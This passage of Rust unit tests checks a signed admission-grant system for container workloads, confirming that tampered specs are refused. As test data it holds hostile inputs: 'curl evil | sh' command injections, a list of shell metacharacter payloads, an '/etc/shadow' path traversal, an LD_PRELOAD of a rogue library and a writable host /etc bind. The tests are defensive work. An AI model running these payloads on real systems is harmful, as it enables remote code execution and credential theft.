1546 g.covers(&spec).unwrap();
1547 }
1548
1549 #[test]
1550 fn a_secret_the_grant_does_not_admit_is_refused() {
1551 let mut spec = dispatched_spec();
1552 spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1553 let err = grant().covers(&spec).unwrap_err();
1554 assert!(
1555 matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1556 "{err}"
1557 );
1558 }
1559
1560 #[test]
1564 fn swapping_the_credential_under_an_admitted_mount_is_refused() {
1565 let (mut spec, g) = spec_and_grant_with_a_secret();
1566 spec.secrets = vec![cluster_mount("cosign-signing-key", R2_PATH, 0o400)];
1567 let err = g.covers(&spec).unwrap_err();
1568 assert!(
1569 matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1570 "{err}"
1571 );
1572 assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1573 }
1574
1575 #[test]
1577 fn loosening_the_file_mode_is_refused() {
1578 let (mut spec, g) = spec_and_grant_with_a_secret();
1579 spec.secrets = vec![cluster_mount("r2-write", R2_PATH, 0o444)];
1580 assert!(g.covers(&spec).is_err());
1581 }
1582
1583 #[test]
1584 fn an_env_target_secret_mount_is_refused_rather_than_admitted() {
1585 let env_mount = SecretMount {
1586 source: SecretRef::Cluster {
1587 name: "r2-write".into(),
1588 },
1589 target: SecretTarget::EnvVar {
1590 name: "R2_TOKEN".into(),
1591 },
1592 };
1593 let mut template = template_spec();
1594 template.secrets.push(env_mount.clone());
1595 let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1598 assert!(g.secrets.is_empty());
1599
1600 let mut spec = dispatched_spec();
1601 spec.secrets.push(env_mount);
1602 let err = g.covers(&spec).unwrap_err();
1603 assert!(
1604 matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1605 "{err}"
1606 );
1607 }
1608
1609 #[test]
1612 fn an_env_var_resolved_from_a_secret_is_refused_even_when_its_name_is_admitted() {
1613 let mut template = template_spec();
1614 template.env.push(EnvVar {
1615 name: "R2_TOKEN".into(),
1616 value: EnvValue::Literal {
1617 value: "placeholder".into(),
1618 },
1619 });
1620 let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1621 assert!(g.env_names.contains(&"R2_TOKEN".to_string()));
1622
1623 let mut spec = dispatched_spec();
1624 spec.env = vec![EnvVar {
1625 name: "R2_TOKEN".into(),
1626 value: EnvValue::FromSecret {
1627 secret: "cosign-signing-key".into(),
1628 key: "seed".into(),
1629 },
1630 }];
1631 let err = g.covers(&spec).unwrap_err();
1632 assert!(matches!(&err, AdmissionError::Mismatch { field: "env", .. }), "{err}");
1633 assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1634 }
1635
1636 #[test]
1642 fn the_materialized_bind_yubaba_injects_is_admitted() {
1643 let (mut spec, g) = spec_and_grant_with_a_secret();
1644 materialize(&mut spec);
1645 assert!(spec.secrets.is_empty(), "materialization consumes the mount");
1646 assert_eq!(spec.volumes.len(), 2, "produced dir + the secret bind");
1647 g.covers(&spec).unwrap();
1648 }
1649
1650 #[test]
1651 fn a_materialized_bind_for_another_workloads_ident_is_refused() {
1652 let (mut spec, g) = spec_and_grant_with_a_secret();
1653 materialize(&mut spec);
1654 for v in &mut spec.volumes {
1657 if let VolumeSource::Bind { host_path } = &mut v.source {
1658 if host_path.starts_with(crate::secret_mount::HOST_ROOT) {
1659 *host_path = crate::secret_mount::materialized_host_path(
1660 std::path::Path::new(crate::secret_mount::HOST_ROOT),
1661 "ingress",
1662 std::path::Path::new(R2_PATH),
1663 );
1664 }
1665 }
1666 }
1667 let err = g.covers(&spec).unwrap_err();
1668 assert!(
1669 matches!(&err, AdmissionError::Mismatch { field: "volumes", .. }),
1670 "{err}"
1671 );
1672 }
1673
1674 #[test]
1675 fn a_writable_bind_at_an_admitted_secret_path_is_refused() {
1676 let (mut spec, g) = spec_and_grant_with_a_secret();
1677 materialize(&mut spec);
1678 for v in &mut spec.volumes {
1679 if v.target == PathBuf::from(R2_PATH) {
1680 v.read_only = false;
1681 }
1682 }
1683 assert!(g.covers(&spec).is_err());
1684 }
1685
1686 #[test]
1687 fn a_secret_bind_the_grant_never_admitted_is_refused() {
1688 let mut spec = dispatched_spec();
1689 let ident = spec.expose.mesh.identity.0.clone();
1690 spec.volumes.push(VolumeMount {
1691 source: VolumeSource::Bind {
1692 host_path: crate::secret_mount::materialized_host_path(
1693 std::path::Path::new(crate::secret_mount::HOST_ROOT),
1694 &ident,
1695 std::path::Path::new(R2_PATH),
1696 ),
1697 },
1698 target: PathBuf::from(R2_PATH),
1699 read_only: true,
1700 });
1701 assert!(grant().covers(&spec).is_err());
1704 }
1705
1706 #[test]
1709 fn encode_parse_round_trips() {
1710 let g = grant();
1711 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1712 }
1713
1714 #[test]
1715 fn encode_survives_a_value_containing_a_newline() {
1716 let mut g = grant();
1719 g.argv = vec!["bash".into(), "-c".into(), "set -e\necho hi\n".into()];
1720 assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1721 }
1722
1723 #[test]
1724 fn absent_workdir_round_trips_distinctly_from_an_empty_one() {
1725 let mut absent = grant();
1726 absent.workdir = None;
1727 let mut empty = grant();
1728 empty.workdir = Some(String::new());
1729 assert_ne!(absent.encode(), empty.encode());
1730 assert_eq!(AdmissionGrant::parse(&absent.encode()).unwrap(), absent);
1731 assert_eq!(AdmissionGrant::parse(&empty.encode()).unwrap(), empty);
1732 }
1733
1734 #[test]
1735 fn parse_rejects_a_foreign_document() {
1736 assert_eq!(
1737 AdmissionGrant::parse("yah-admission-grant/v3\n").unwrap_err(),
1738 GrantError::BadMagic
1739 );
1740 }
1741
1742 #[test]
1747 fn a_v1_grant_is_refused_rather_than_read_as_granting_no_secrets() {
1748 let v1 = grant().encode().replacen(GRANT_MAGIC, "yah-admission-grant/v1", 1);
1749 assert_eq!(AdmissionGrant::parse(&v1).unwrap_err(), GrantError::BadMagic);
1750 }
1751
1752 #[test]
1753 fn parse_rejects_trailing_bytes() {
1754 let text = format!("{}{}", grant().encode(), "extra");
1755 assert!(matches!(
1756 AdmissionGrant::parse(&text).unwrap_err(),
1757 GrantError::Trailing(5)
1758 ));
1759 }
1760
1761 #[test]
1762 fn parse_rejects_a_reordered_record() {
1763 let text = grant().encode().replacen("recipe ", "tier ", 1);
1764 assert!(matches!(
1765 AdmissionGrant::parse(&text).unwrap_err(),
1766 GrantError::UnexpectedLabel { .. }
1767 ));
1768 }
1769
1770 #[test]
1771 fn parse_rejects_a_length_that_does_not_match_its_value() {
1772 let text = grant().encode().replacen("recipe 13\n", "recipe 99\n", 1);
1773 assert!(matches!(
1774 AdmissionGrant::parse(&text).unwrap_err(),
1775 GrantError::Truncated { .. }
1776 ));
1777 }
1778
1779 #[test]
1782 fn a_template_without_holes_is_compared_verbatim() {
1783 assert!(template_matches("/app/quantize", "/app/quantize"));
1784 assert!(!template_matches("/app/quantize", "/app/quantize2"));
1785 }
1786
1787 #[test]
1788 fn holes_accept_the_values_the_materialize_path_substitutes() {
1789 assert!(template_matches(
1790 "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1791 "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1792 ));
1793 }
1794
1795 #[test]
1796 fn a_hole_may_not_break_out_of_the_quoting_the_recipe_wrote() {
1797 assert!(!template_matches(
1801 "build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
1802 "build-v8.sh 'x86'; curl evil | sh; echo '' '/yah/produced/a.out'",
1803 ));
1804 for hostile in [
1805 "a$(id)b", "a`id`b", "a;id", "a|id", "a&id", "a>f", "a<f", "a\\b", "a\nb",
1806 ] {
1807 assert!(!hole_is_safe(hostile), "{hostile:?} must not be a safe hole");
1808 }
1809 }
1810
1811 #[test]
1812 fn a_hole_may_not_traverse_out_of_the_directory_it_names() {
1813 assert!(!template_matches(
1814 "cp '{{YAH_TRANSFORM_OUT}}'",
1815 "cp '/yah/produced/../../etc/shadow'",
1816 ));
1817 }
1818
1819 #[test]
1820 fn a_trailing_hole_consumes_the_rest() {
1821 assert!(template_matches("prefix-{{x}}", "prefix-value"));
1822 assert!(!template_matches("prefix-{{x}}", "nope-value"));
1823 assert!(!template_matches("prefix-{{x}}", "prefix-va;lue"));
1824 }
1825
1826 #[test]
1827 fn an_unterminated_placeholder_is_literal_text() {
1828 assert!(template_matches("echo {{oops", "echo {{oops"));
1831 assert!(!template_matches("echo {{oops", "echo anything"));
1832 }
1833
1834 #[test]
1837 fn a_grant_covers_the_dispatch_it_was_cut_for() {
1838 grant().covers(&dispatched_spec()).unwrap();
1839 }
1840
1841 #[test]
1842 fn a_swapped_image_is_not_covered() {
1843 let mut spec = dispatched_spec();
1844 spec.image.digest = format!("sha256:{}", "0".repeat(64));
1845 assert!(matches!(
1846 grant().covers(&spec).unwrap_err(),
1847 AdmissionError::Mismatch { field: "image", .. }
1848 ));
1849 }
1850
1851 #[test]
1852 fn a_swapped_tag_on_the_same_digest_is_not_covered() {
1853 let mut spec = dispatched_spec();
1856 spec.image.tag = "latest".into();
1857 assert!(matches!(
1858 grant().covers(&spec).unwrap_err(),
1859 AdmissionError::Mismatch { field: "image", .. }
1860 ));
1861 }
1862
1863 #[test]
1864 fn an_appended_argv_element_is_not_covered() {
1865 let mut spec = dispatched_spec();
1866 spec.command.as_mut().unwrap().push("; curl evil | sh".into());
1867 assert!(matches!(
1868 grant().covers(&spec).unwrap_err(),
1869 AdmissionError::Mismatch { field: "argv", .. }
1870 ));
1871 }
1872
1873 #[test]
1874 fn a_rewritten_argv_literal_is_not_covered() {
1875 let spec = forge_spec(&["evil.sh 'x86_64-unknown-linux-musl' '/yah/produced/a.out'"]);
1876 assert!(matches!(
1877 grant().covers(&spec).unwrap_err(),
1878 AdmissionError::Mismatch { field: "argv", .. }
1879 ));
1880 }
1881
1882 #[test]
1883 fn an_unlisted_env_var_is_not_covered() {
1884 let mut spec = dispatched_spec();
1887 spec.env.push(EnvVar {
1888 name: "LD_PRELOAD".into(),
1889 value: EnvValue::Literal {
1890 value: "/tmp/evil.so".into(),
1891 },
1892 });
1893 assert!(matches!(
1894 grant().covers(&spec).unwrap_err(),
1895 AdmissionError::Mismatch { field: "env", .. }
1896 ));
1897 }
1898
1899 #[test]
1900 fn a_listed_env_var_is_covered_whatever_its_value() {
1901 let mut template = template_spec();
1902 template.env.push(EnvVar {
1903 name: "YAH_PRODUCED_DIR".into(),
1904 value: EnvValue::Literal { value: "".into() },
1905 });
1906 let g = AdmissionGrant::from_spec("r", &template);
1907 let mut spec = dispatched_spec();
1908 spec.env.push(EnvVar {
1909 name: "YAH_PRODUCED_DIR".into(),
1910 value: EnvValue::Literal {
1911 value: "/var/lib/yah/qed/produced/abc123".into(),
1912 },
1913 });
1914 g.covers(&spec).unwrap();
1915 }
1916
1917 #[test]
1918 fn an_ungranted_nested_sandbox_request_is_not_covered() {
1919 let mut spec = dispatched_spec();
1920 spec.annotations.insert(
1921 crate::NESTED_SANDBOX_ANNOTATION.into(),
1922 crate::NESTED_SANDBOX_VALUE.into(),
1923 );
1924 assert!(matches!(
1925 grant().covers(&spec).unwrap_err(),
1926 AdmissionError::Mismatch {
1927 field: "nested-sandbox",
1928 ..
1929 }
1930 ));
1931 }
1932
1933 #[test]
1934 fn requesting_less_privilege_than_granted_is_covered() {
1935 let mut spec = dispatched_spec();
1938 spec.annotations.remove(crate::HOST_NETWORK_ANNOTATION);
1939 grant().covers(&spec).unwrap();
1940 }
1941
1942 #[test]
1943 fn a_bind_mount_outside_the_forge_state_root_is_not_covered() {
1944 let mut spec = dispatched_spec();
1947 spec.volumes.push(VolumeMount {
1948 source: VolumeSource::Bind {
1949 host_path: PathBuf::from("/etc"),
1950 },
1951 target: PathBuf::from("/host-etc"),
1952 read_only: false,
1953 });
1954 assert!(matches!(
1955 grant().covers(&spec).unwrap_err(),
1956 AdmissionError::Mismatch {
1957 field: "volumes",
1958 ..
1959 }
1960 ));
1961 }
1962
1963 #[test]
1964 fn a_native_exec_spec_is_not_covered_by_a_container_grant() {
1965 let mut spec = dispatched_spec();
1966 spec.annotations.insert(
1967 crate::NATIVE_EXEC_ANNOTATION.into(),
1968 crate::NATIVE_EXEC_VALUE.into(),
1969 );
1970 assert!(matches!(
1971 grant().covers(&spec).unwrap_err(),
1972 AdmissionError::Mismatch {
1973 field: "runtime",
1974 ..
1975 }
1976 ));
1977 }
1978
1979 #[test]
1980 fn a_microvm_spec_is_not_covered_by_a_container_grant() {
1981 let mut spec = dispatched_spec();
1988 spec.annotations.insert(
1989 crate::NATIVE_EXEC_ANNOTATION.into(),
1990 crate::MICROVM_EXEC_VALUE.into(),
1991 );
1992 assert!(matches!(
1993 grant().covers(&spec).unwrap_err(),
1994 AdmissionError::Mismatch {
1995 field: "runtime",
1996 ..
1997 }
1998 ));
1999 }
2000
2001 #[test]
2002 fn a_microvm_grant_round_trips_through_the_signing_encoding() {
2003 let mut spec = dispatched_spec();
2007 spec.annotations.insert(
2008 crate::NATIVE_EXEC_ANNOTATION.into(),
2009 crate::MICROVM_EXEC_VALUE.into(),
2010 );
2011 let cut = AdmissionGrant::from_spec("forge", &spec);
2012 assert_eq!(cut.runtime, GrantRuntime::MicroVm);
2013
2014 let back = AdmissionGrant::parse(&cut.encode()).expect("parse round-trip");
2015 assert_eq!(back.runtime, GrantRuntime::MicroVm);
2016 back.covers(&spec).expect("a microvm grant covers its own spec");
2017 }
2018
2019 #[test]
2020 fn a_tier_escalation_is_not_covered() {
2021 let mut spec = dispatched_spec();
2022 spec.tier = TierTag("tenant".into());
2023 assert!(matches!(
2024 grant().covers(&spec).unwrap_err(),
2025 AdmissionError::Mismatch { field: "tier", .. }
2026 ));
2027 assert_eq!(spec.expose.mesh.identity, MeshIdent("forge.abc123".into()));
2030 }
2031
2032 #[test]
2033 fn policy_parse_rejects_a_typo_rather_than_falling_back() {
2034 assert_eq!(Policy::parse("required").unwrap(), Policy::Required);
2035 assert_eq!(Policy::parse(" permissive ").unwrap(), Policy::Permissive);
2036 assert_eq!(Policy::parse("disabled").unwrap(), Policy::Disabled);
2037 assert!(Policy::parse("Required").is_err());
2038 assert!(Policy::parse("on").is_err());
2039 assert_eq!(Policy::default(), Policy::Permissive);
2040 }
2041
2042 #[test]
2043 fn image_ref_string_is_stable_and_pins_the_digest() {
2044 assert_eq!(image_ref_string(&image()), format!("{IMAGE}:v149.4.0@{DIGEST}"));
2045 }
2046}
2047
2048#[cfg(all(test, feature = "admission-verify"))]
2049mod verify_tests {
2050 use super::tests::{dispatched_spec, grant};
2051 use super::*;
2052
2053 fn key() -> ed25519_dalek::SigningKey {
2054 ed25519_dalek::SigningKey::from_bytes(&[7u8; 32])
2055 }
2056
2057 fn public_hex(k: &ed25519_dalek::SigningKey) -> String {
2058 hex::encode(k.verifying_key().to_bytes())
2059 }
2060
2061 fn signed_dispatch() -> (WorkloadSpec, Vec<String>) {
2063 let k = key();
2064 let g = grant();
2065 let encoded = g.encode();
2066 let sig = sign_grant(&encoded, &k);
2067 let pk = public_hex(&k);
2068 let mut spec = dispatched_spec();
2069 attach(&mut spec, &encoded, &sig, &pk);
2070 (spec, vec![pk])
2071 }
2072
2073 #[test]
2074 fn a_signed_dispatch_is_admitted() {
2075 let (spec, trusted) = signed_dispatch();
2076 admit(&spec, Policy::Permissive, &trusted).unwrap();
2077 admit(&spec, Policy::Required, &trusted).unwrap();
2078 }
2079
2080 #[test]
2081 fn an_unsigned_workload_passes_permissive_and_fails_required() {
2082 let spec = dispatched_spec();
2083 admit(&spec, Policy::Permissive, &[]).unwrap();
2084 assert!(matches!(
2085 admit(&spec, Policy::Required, &[]).unwrap_err(),
2086 AdmissionError::GrantRequired { .. }
2087 ));
2088 }
2089
2090 #[test]
2091 fn the_nested_sandbox_widening_always_needs_a_grant() {
2092 let mut spec = dispatched_spec();
2096 spec.annotations.insert(
2097 crate::NESTED_SANDBOX_ANNOTATION.into(),
2098 crate::NESTED_SANDBOX_VALUE.into(),
2099 );
2100 assert!(matches!(
2101 admit(&spec, Policy::Permissive, &[]).unwrap_err(),
2102 AdmissionError::GrantRequired { .. }
2103 ));
2104 admit(&spec, Policy::Disabled, &[]).unwrap();
2106 }
2107
2108 #[test]
2109 fn a_native_spec_carrying_the_widening_is_kamajis_shape_refusal_not_ours() {
2110 let mut spec = dispatched_spec();
2117 spec.annotations.insert(
2118 crate::NESTED_SANDBOX_ANNOTATION.into(),
2119 crate::NESTED_SANDBOX_VALUE.into(),
2120 );
2121 spec.annotations.insert(
2122 crate::NATIVE_EXEC_ANNOTATION.into(),
2123 crate::NATIVE_EXEC_VALUE.into(),
2124 );
2125 admit(&spec, Policy::Permissive, &[]).unwrap();
2126 assert!(matches!(
2129 admit(&spec, Policy::Required, &[]).unwrap_err(),
2130 AdmissionError::GrantRequired { .. }
2131 ));
2132 }
2133
2134 #[test]
2135 fn an_untrusted_key_is_refused_before_any_crypto_runs() {
2136 let (spec, _) = signed_dispatch();
2137 assert!(matches!(
2138 admit(&spec, Policy::Permissive, &["ff".repeat(32)]).unwrap_err(),
2139 AdmissionError::UntrustedKey { .. }
2140 ));
2141 }
2142
2143 #[test]
2144 fn required_with_no_pinned_keys_refuses_everything() {
2145 let (spec, _) = signed_dispatch();
2149 assert!(matches!(
2150 admit(&spec, Policy::Required, &[]).unwrap_err(),
2151 AdmissionError::UntrustedKey { .. }
2152 ));
2153 }
2154
2155 #[test]
2156 fn a_signature_from_a_different_key_does_not_verify() {
2157 let other = ed25519_dalek::SigningKey::from_bytes(&[9u8; 32]);
2158 let g = grant();
2159 let encoded = g.encode();
2160 let mut spec = dispatched_spec();
2161 attach(
2163 &mut spec,
2164 &encoded,
2165 &sign_grant(&encoded, &other),
2166 &public_hex(&key()),
2167 );
2168 assert!(matches!(
2169 admit(&spec, Policy::Permissive, &[public_hex(&key())]).unwrap_err(),
2170 AdmissionError::SignatureMismatch
2171 ));
2172 }
2173
2174 #[test]
2175 fn widening_the_grant_after_signing_does_not_verify() {
2176 let (mut spec, trusted) = signed_dispatch();
2179 let tampered = spec
2180 .annotations
2181 .get(GRANT_ANNOTATION)
2182 .unwrap()
2183 .replace("nested-sandbox 5\nfalse\n", "nested-sandbox 4\ntrue\n");
2184 spec.annotations
2185 .insert(GRANT_ANNOTATION.into(), tampered.clone());
2186 assert!(tampered.contains("nested-sandbox 4\ntrue"));
2187 assert!(matches!(
2188 admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2189 AdmissionError::SignatureMismatch
2190 ));
2191 }
2192
2193 #[test]
2194 fn tampering_with_the_spec_under_a_valid_signature_is_caught_by_coverage() {
2195 let (mut spec, trusted) = signed_dispatch();
2198 spec.command = Some(vec!["curl evil | sh".into()]);
2199 assert!(matches!(
2200 admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2201 AdmissionError::Mismatch { field: "argv", .. }
2202 ));
2203 }
2204
2205 #[test]
2206 fn a_partial_annotation_set_is_an_error_not_an_absence() {
2207 let (mut spec, trusted) = signed_dispatch();
2209 spec.annotations.remove(GRANT_SIGNATURE_ANNOTATION);
2210 assert!(matches!(
2211 admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
2212 AdmissionError::Incomplete {
2213 missing: GRANT_SIGNATURE_ANNOTATION
2214 }
2215 ));
2216 }
2217
2218 #[test]
2219 fn disabled_admits_a_workload_with_a_broken_grant() {
2220 let (mut spec, _) = signed_dispatch();
2221 spec.annotations
2222 .insert(GRANT_SIGNATURE_ANNOTATION.into(), "not-hex".into());
2223 admit(&spec, Policy::Disabled, &[]).unwrap();
2224 }
2225}
2226
2227#[cfg(all(test, feature = "admission-verify"))]
2228mod node_posture_tests {
2229 use super::*;
2230
2231 #[test]
2232 fn unset_is_permissive_with_no_keys() {
2233 let n = NodeAdmission::from_vars(None, None);
2234 assert_eq!(n.policy, Policy::Permissive);
2235 assert!(n.trusted_keys.is_empty());
2236 }
2237
2238 #[test]
2239 fn a_typo_fails_closed_to_required() {
2240 assert_eq!(
2243 NodeAdmission::from_vars(Some("Required"), None).policy,
2244 Policy::Required
2245 );
2246 assert_eq!(
2247 NodeAdmission::from_vars(Some("yes"), None).policy,
2248 Policy::Required
2249 );
2250 }
2251
2252 #[test]
2253 fn keys_are_split_trimmed_and_emptied() {
2254 let n = NodeAdmission::from_vars(Some("required"), Some(" aa , bb ,, "));
2255 assert_eq!(n.policy, Policy::Required);
2256 assert_eq!(n.trusted_keys, vec!["aa".to_string(), "bb".to_string()]);
2257 }
2258}